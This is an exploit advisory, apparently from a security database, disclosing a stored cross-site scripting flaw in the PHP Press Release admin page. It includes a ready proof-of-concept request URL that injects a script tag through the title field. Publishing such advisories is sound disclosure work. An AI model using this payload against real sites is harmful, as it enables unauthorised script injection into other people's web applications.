PHP Press Release Cross Site Scripting

2016.10.10
Credit: Besim
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title : PHP Press Release* - Stored Cross Site Scripting* # Author : Besim # Google Dork : - # Date : 09/10/2016 # Type : webapps # Platform : PHP # Vendor Homepage : http://www.pagereactions.com/product.php?pku=1 # Software link : http://www.pagereactions.com/downloads/phppressrelease.zip Description : Vulnerable link : http://site_name/phppressrelease/administration.php?pageaction=newrelease Stored XSS Payload : http://www.site_name/phppressrelease/administration.php?pageaction=saverelease&subaction=submit&dateday=&datemonthnewedit=&dateyearnewedit=&title=<script>alert('Exploit-DB')<%2Fscript>&summary=deneme&releasebody=deneme&categorynewedit=1&publish=active

References:

http://www.pagereactions.com/downloads/phppressrelease.zip


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top